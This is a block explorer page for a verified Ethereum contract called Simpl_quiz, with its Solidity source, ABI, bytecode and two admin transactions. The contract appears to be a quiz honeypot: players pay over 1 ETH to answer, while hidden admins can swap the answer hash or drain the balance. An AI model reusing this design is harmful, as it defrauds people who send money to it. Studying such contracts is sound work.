ETH Price: $1,987.22 (+1.97%)

Contract

0x72F1295238A6A0d95631aD9F81b829c486861057
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Stop79716422019-06-16 20:22:412457 days ago1560716561IN
0x72F12952...486861057
0 ETH0.000059382
Start79198042019-06-08 17:51:062465 days ago1560016266IN
0x72F12952...486861057
7 ETH0.000081513

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Method Block
From
To
-79716422019-06-16 20:22:412457 days ago1560716561
0x72F12952...486861057
7 ETH
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Simpl_quiz

Compiler Version
v0.4.25+commit.59dbf8f1

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2019-06-09
*/

pragma solidity ^0.4.25;

contract Simpl_quiz
{
    function Try(string _response) external payable 
    {
        require(msg.sender == tx.origin);

        if(responseHash == keccak256(_response) && msg.value > 1 ether)
        {
            msg.sender.transfer(this.balance);
        }
    }

    string public question;

    bytes32 responseHash;

    mapping (bytes32=>bool) admin;

    function Start(string _question, string _response) public payable isAdmin{
        if(responseHash==0x0){
            responseHash = keccak256(_response);
            question = _question;
        }
    }

    function Stop() public payable isAdmin {
        msg.sender.transfer(this.balance);
    }

    function New(string _question, bytes32 _responseHash) public payable isAdmin {
        question = _question;
        responseHash = _responseHash;
    }

    constructor(bytes32[] admins) public{
        for(uint256 i=0; i< admins.length; i++){
            admin[admins[i]] = true;        
        }       
    }

    modifier isAdmin(){
        require(admin[keccak256(msg.sender)]);
        _;
    }

    function() public payable{}
}

Contract Security Audit

Contract ABI

API
[{"constant":false,"inputs":[{"name":"_response","type":"string"}],"name":"Try","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"question","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"Stop","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_response","type":"string"}],"name":"Start","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_responseHash","type":"bytes32"}],"name":"New","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"inputs":[{"name":"admins","type":"bytes32[]"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

608060405234801561001057600080fd5b506040516105b43803806105b48339810160405280510160005b815181101561007857600160026000848481518110151561004757fe5b6020908102919091018101518252810191909152604001600020805460ff191691151591909117905560010161002a565b505061052b806100896000396000f30060806040526004361061006c5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416633853682c811461006e5780633fad9ae014610081578063bedf0f4a1461010b578063c76de3e914610113578063ed8df1641461019d575b005b61006c60048035602481019101356101eb565b34801561008d57600080fd5b50610096610264565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100d05781810151838201526020016100b8565b50505050905090810190601f1680156100fd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61006c6102f2565b6040805160206004803580820135601f810184900484028501840190955284845261006c94369492936024939284019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375094975061035d9650505050505050565b6040805160206004803580820135601f810184900484028501840190955284845261006c943694929360249392840191908190840183828082843750949750509335945061040f9350505050565b3332146101f757600080fd5b8181604051808383808284376040519201829003909120600154149350508215915061022c90505750670de0b6b3a764000034115b15610260576040513390303180156108fc02916000818181858888f1935050505015801561025e573d6000803e3d6000fd5b505b5050565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156102ea5780601f106102bf576101008083540402835291602001916102ea565b820191906000526020600020905b8154815290600101906020018083116102cd57829003601f168201915b505050505081565b604080516c0100000000000000000000000033028152815190819003601401902060009081526002602052205460ff16151561032d57600080fd5b6040513390303180156108fc02916000818181858888f1935050505015801561035a573d6000803e3d6000fd5b50565b604080516c0100000000000000000000000033028152815190819003601401902060009081526002602052205460ff16151561039857600080fd5b600154151561026057806040518082805190602001908083835b602083106103d15780518252601f1990920191602091820191016103b2565b51815160209384036101000a600019018019909216911617905260405191909301819003902060015550845161025e93506000925090850190610464565b604080516c0100000000000000000000000033028152815190819003601401902060009081526002602052205460ff16151561044a57600080fd5b815161045d906000906020850190610464565b5060015550565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106104a557805160ff19168380011785556104d2565b828001600101855582156104d2579182015b828111156104d25782518255916020019190600101906104b7565b506104de9291506104e2565b5090565b6104fc91905b808211156104de57600081556001016104e8565b905600a165627a7a7230582063ae936b9b545861e377371d3237d47451b5075291dcd53b6f98f786b506b57e00290000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000391b0f72000ae935bc590ba39f739c91ed55ecd54f4f3edfdb5c0d1397555da8fac875aefd920eb697e291f9414a2103c99426ce8ef319508f7fb321d71e92e858f59c0eee0b6ed0c521c2609770180e5d7de0e1de3a415621ca6ba99c914400e

Deployed Bytecode

0x60806040526004361061006c5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416633853682c811461006e5780633fad9ae014610081578063bedf0f4a1461010b578063c76de3e914610113578063ed8df1641461019d575b005b61006c60048035602481019101356101eb565b34801561008d57600080fd5b50610096610264565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100d05781810151838201526020016100b8565b50505050905090810190601f1680156100fd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61006c6102f2565b6040805160206004803580820135601f810184900484028501840190955284845261006c94369492936024939284019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375094975061035d9650505050505050565b6040805160206004803580820135601f810184900484028501840190955284845261006c943694929360249392840191908190840183828082843750949750509335945061040f9350505050565b3332146101f757600080fd5b8181604051808383808284376040519201829003909120600154149350508215915061022c90505750670de0b6b3a764000034115b15610260576040513390303180156108fc02916000818181858888f1935050505015801561025e573d6000803e3d6000fd5b505b5050565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156102ea5780601f106102bf576101008083540402835291602001916102ea565b820191906000526020600020905b8154815290600101906020018083116102cd57829003601f168201915b505050505081565b604080516c0100000000000000000000000033028152815190819003601401902060009081526002602052205460ff16151561032d57600080fd5b6040513390303180156108fc02916000818181858888f1935050505015801561035a573d6000803e3d6000fd5b50565b604080516c0100000000000000000000000033028152815190819003601401902060009081526002602052205460ff16151561039857600080fd5b600154151561026057806040518082805190602001908083835b602083106103d15780518252601f1990920191602091820191016103b2565b51815160209384036101000a600019018019909216911617905260405191909301819003902060015550845161025e93506000925090850190610464565b604080516c0100000000000000000000000033028152815190819003601401902060009081526002602052205460ff16151561044a57600080fd5b815161045d906000906020850190610464565b5060015550565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106104a557805160ff19168380011785556104d2565b828001600101855582156104d2579182015b828111156104d25782518255916020019190600101906104b7565b506104de9291506104e2565b5090565b6104fc91905b808211156104de57600081556001016104e8565b905600a165627a7a7230582063ae936b9b545861e377371d3237d47451b5075291dcd53b6f98f786b506b57e0029

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000391b0f72000ae935bc590ba39f739c91ed55ecd54f4f3edfdb5c0d1397555da8fac875aefd920eb697e291f9414a2103c99426ce8ef319508f7fb321d71e92e858f59c0eee0b6ed0c521c2609770180e5d7de0e1de3a415621ca6ba99c914400e

-----Decoded View---------------
Arg [0] : admins (bytes32[]): System.Byte[],System.Byte[],System.Byte[]

-----Encoded View---------------
5 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000020
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [2] : 91b0f72000ae935bc590ba39f739c91ed55ecd54f4f3edfdb5c0d1397555da8f
Arg [3] : ac875aefd920eb697e291f9414a2103c99426ce8ef319508f7fb321d71e92e85
Arg [4] : 8f59c0eee0b6ed0c521c2609770180e5d7de0e1de3a415621ca6ba99c914400e


Deployed Bytecode Sourcemap

28:1153:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;56:250;;;;;;;;;;;;;314:22;;8:9:-1;5:2;;;30:1;27;20:12;5:2;314:22:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:100:-1;33:3;30:1;27:10;8:100;;;90:11;;;84:18;71:11;;;64:39;52:2;45:10;8:100;;;12:14;314:22:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;629:91;;;;412:209;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;412:209:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;412:209:0;;;;-1:-1:-1;412:209:0;-1:-1:-1;412:209:0;;-1:-1:-1;412:209:0;;;;;;;;-1:-1:-1;412:209:0;;-1:-1:-1;412:209:0;;-1:-1:-1;;;;;;;412:209:0;728:155;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;728:155:0;;-1:-1:-1;;728:155:0;;;-1:-1:-1;728:155:0;;-1:-1:-1;;;;728:155:0;56:250;129:10;143:9;129:23;121:32;;;;;;195:9;;185:20;;;;;;;;;;;;;;;;;;;169:12;;:36;;-1:-1:-1;;169:59:0;;;-1:-1:-1;169:59:0;;-1:-1:-1;169:59:0;;221:7;209:9;:19;169:59;166:133;;;254:33;;:10;;274:4;:12;254:33;;;;;;;;;274:12;254:10;:33;;;;;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;254:33:0;166:133;56:250;;:::o;314:22::-;;;;;;;;;;;;;;;-1:-1:-1;;314:22:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;629:91::-;1100:21;;;;1110:10;1100:21;;;;;;;;;;;;;1094:28;;;;:5;:28;;;;;;1086:37;;;;;;;;679:33;;:10;;699:4;:12;679:33;;;;;;;;;699:12;679:10;:33;;;;;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;679:33:0;629:91::o;412:209::-;1100:21;;;;1110:10;1100:21;;;;;;;;;;;;;1094:28;;;;:5;:28;;;;;;1086:37;;;;;;;;499:12;;:17;496:118;;;557:9;547:20;;;;;;;;;;;;;36:153:-1;66:2;58:11;;36:153;;176:10;;164:23;;-1:-1;;139:12;;;;98:2;89:12;;;;114;36:153;;;299:10;344;;263:2;259:12;;;254:3;250:22;-1:-1;;246:30;311:9;;295:26;;;340:21;;377:20;365:33;;547:20:0;;;;;;;;;;;274:1:-1;532:35:0;-1:-1:-1;582:20:0;;;;-1:-1:-1;;;;582:20:0;;;;;:::i;728:155::-;1100:21;;;;1110:10;1100:21;;;;;;;;;;;;;1094:28;;;;:5;:28;;;;;;1086:37;;;;;;;;816:20;;;;:8;;:20;;;;;:::i;:::-;-1:-1:-1;847:12:0;:28;-1:-1:-1;728:155:0:o;28:1153::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;28:1153:0;;;-1:-1:-1;28:1153:0;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;;;;;;;:::o

Swarm Source

bzzr://63ae936b9b545861e377371d3237d47451b5075291dcd53b6f98f786b506b57e

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.